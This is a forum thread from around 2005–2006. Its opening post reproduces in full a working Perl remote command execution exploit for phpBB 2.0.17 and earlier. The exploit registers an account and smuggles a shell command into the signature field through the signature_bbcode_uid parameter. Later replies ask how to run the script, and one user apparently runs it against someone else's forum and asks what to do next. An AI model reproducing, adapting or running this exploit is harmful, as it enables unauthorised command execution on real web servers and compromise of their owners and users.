 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 102
 Members: 0
 Total: 102
|
|
|
|
|
|
Full disclosure |
|
CyberDanube Security Research 20251014-0 | Multiple Vulnerabilities in Phoenix Contact QUINT4 UPS
apis.google.com - Insecure redirect via __lu parameter(exploited in the wild)
Urgent Security Vulnerabilities Discovered in Mercku Routers Model M6a
Re: Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS)
Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS)
[SBA-ADV-20250730-01] CVE-2025-39664: Checkmk Path Traversal
[SBA-ADV-20250724-01] CVE-2025-32919: Checkmk Agent Privilege Escalation via Insecure Temporary Files
CVE-2025-59397 - Open Web Analytics SQL Injection
Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Re: Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Re: Defense in depth -- the Microsoft way (part 93): SRP/SAFERwhitelisting goes black on Windows 11
Re: [FD]: "Glass Cage" – Zero-Click iMessage ? Persistent iOS Compromise + Bricking (CVE-2025-24085 / 24201, CNVD-2025-07885)
Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Samtools v1.22.1 Uncontrolled Memory Allocation from Large BED Intervals Causes Denial-of-Service in Samtools/HTSlib
Samtools v1.22.1 Improper Handling of Excessive Histogram Bin Counts in Samtools Coverage Leads to Stack Overflow
|
|
|
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
phpBB <= 2.0.17 "signature_bbcode_uid" Remote C |
|
 Posted: Sun Dec 25, 2005 12:46 am |
 |
|
| aarong11 |
| Beginner |
 |
|
| Joined: Dec 25, 2005 |
| Posts: 1 |
|
|
|
 |
|
 |
|
Here is a new exploit that was released about 30 minutes ago. Just thought i'd post it here. I take no credit for this.
| Code: |
#!/usr/bin/perl
# phpBB <= 2.0.17 remote command execution exploit
# need for work:
# 1. PHP 5 < 5.0.5
# 2. register_globals=On
# 3. magic_quotes off
# ------------------------------------------------
# (c)oded by 1dt.w0lf
# RST/GHC
# http://rst.void.ru
# http://ghc.ru
# 03.11.05
use LWP::UserAgent;
use HTTP::Cookies;
if(@ARGV < 2) { usage(); }
head();
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
for($i=0;$i<5;$i++)
{
$rand .= int(rand(9));
}
$name = 'r57phpBB2017xpl'.$rand;
$password = 'r57phpBB2017xpl'.$rand;
$path = $ARGV[0];
$cmd = $ARGV[1];
$xpl->cookie_jar( $cookie_jar );
$res = $xpl->post(
$path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00',
Content => [
'username' => $name,
'email' => $rand.'_bill_gates@microsoft.com',
'new_password' => $password,
'password_confirm' => $password,
'signature' => 'r57:`'.$cmd.'`',
'viewemail' => '0',
'hideonline' => '1',
'notifyreply' => '0',
'notifypm' => '0',
'popup_pm' => '0',
'attachsig' => '0',
'allowbbcode' => '1',
'allowhtml' => '1',
'allowsmilies' => '0',
'mode' => 'register',
'agreed' => 'true',
'coppa' => '0',
'submit' => 'Submit',
],
);
if($res->content =~ /form action=\"profile.php/) { print "Failed to register user $name\r\n"; exit(); }
else { print "Done. User $name successfully registered!\r\n"; }
$res = $xpl->post(
$path.'login.php',
Content => [
'username' => $name,
'password' => $password,
'redirect' => '',
'login' => 'Log in',
],Referer => $path.'login.php');
$res = $xpl->get($path.'profile.php?mode=editprofile');
@content = split("\n",$res->content);
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
for(@content)
{
if(/<\/textarea>/) { $p = 0; }
print $_."\r\n" if $p;
if(/<textarea name="signature"/){ $p = 1; }
}
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
sub head()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print " PhpBB <= 2.0.17, PHP 5 < 5.0.5 remote command execution exploit by RST/GHC\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
}
sub usage()
{
head();
print " Usage: r57phpBB2017.pl <path> <cmd>\r\n";
print " <path> - Path to forum e.g. http://phpbb.com/forum/\r\n";
print " <cmd> - Command for execute\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print "(c)oded by 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
exit();
}
|
|
|
|
|
|
|
|
|
|
| Posted: Sun Dec 25, 2005 1:35 am |
|
|
| lak1s |
| Regular user |
|
|
| Joined: Oct 22, 2005 |
| Posts: 11 |
|
|
|
|
|
|
|
| How to use it? it works but dont know how to use, plz a little help:) |
|
|
|
|
| Posted: Sun Dec 25, 2005 8:10 am |
|
|
| shai-tan |
| Valuable expert |
 |
|
| Joined: Feb 22, 2005 |
| Posts: 477 |
|
|
|
|
|
|
|
Save it to a .pl file and run it in Linux or Cygwin Emulator for Windows. If you dont understand that then read up about how Perl works.
Shai-tan |
|
_________________
Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
| Posted: Sun Dec 25, 2005 11:46 am |
|
|
| lak1s |
| Regular user |
|
|
| Joined: Oct 22, 2005 |
| Posts: 11 |
|
|
|
|
|
|
|
| Quote: | Save it to a .pl file and run it in Linux or Cygwin Emulator for Windows. If you dont understand that then read up about how Perl works.
Shai-tan |
yes ive learnd how perl works ive execute the file, it say it works but dont know what does this script does.. |
|
|
|
|
| Posted: Mon Jan 09, 2006 9:24 pm |
|
|
| glitch |
| Beginner |
|
|
| Joined: Jan 09, 2006 |
| Posts: 2 |
| Location: Poland |
|
|
|
|
|
|
|
|
|
|
| Posted: Wed Jan 25, 2006 5:35 pm |
|
|
| robin1200 |
| Regular user |
|
|
| Joined: Sep 13, 2005 |
| Posts: 19 |
|
|
|
|
|
|
|
whats the point of copy/paste exploits if don't explain how they work or what they do...
this particular exploit creates a user.. but whats the password ? and how do you input commands?
thanks |
|
|
|
|
| Posted: Wed Jan 25, 2006 8:26 pm |
|
|
| Tomanas |
| Active user |
|
|
| Joined: Jan 30, 2005 |
| Posts: 29 |
|
|
|
|
|
|
|
It would be super if it would work....
Can't locate LWP/UserAgent.pm in @INC (@INC contains: /usr/lib/perl5/5.8.7/i486-linux /usr/lib/perl5/5.8.7 /usr/lib/perl5/site_perl/5.8.7/i486-linux /usr/lib/perl5/site_perl/5.8.7 /usr/lib/perl5/site_perl/5.8.6 /usr/lib/perl5/site_perl/5.8.5 /usr/lib/perl5/site_perl .) at php.pl line 15.
BEGIN failed--compilation aborted at php.pl line 15.
It works only on my localhost, on win xp with active perl installed, but on my servers running linux - no  |
|
|
|
|
| Posted: Wed Jan 25, 2006 11:50 pm |
|
|
| webguy714 |
| Beginner |
|
|
| Joined: Dec 03, 2005 |
| Posts: 4 |
|
|
|
|
|
|
|
I ran the script as:
phpbb2017.pl http://forum.theirdomain.com \r\n
it came back with athe following msg:
"Done. User r57phpBB2017xp137221 successfully registered."
Now what do i do from here...? |
|
|
|
|
| Posted: Fri Mar 10, 2006 10:35 am |
|
|
| lookatmenow |
| Regular user |
|
|
| Joined: Feb 24, 2006 |
| Posts: 21 |
|
|
|
|
|
|
|
creates a user, the password will be the same as the usernam. however, i suggest if you don't want things to look wierd then edit the code a little so your username is 20 characters long
i'm not sure what it's useful for. other than you can register without putting in an email address etc...
anyone know what other uses there are... |
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
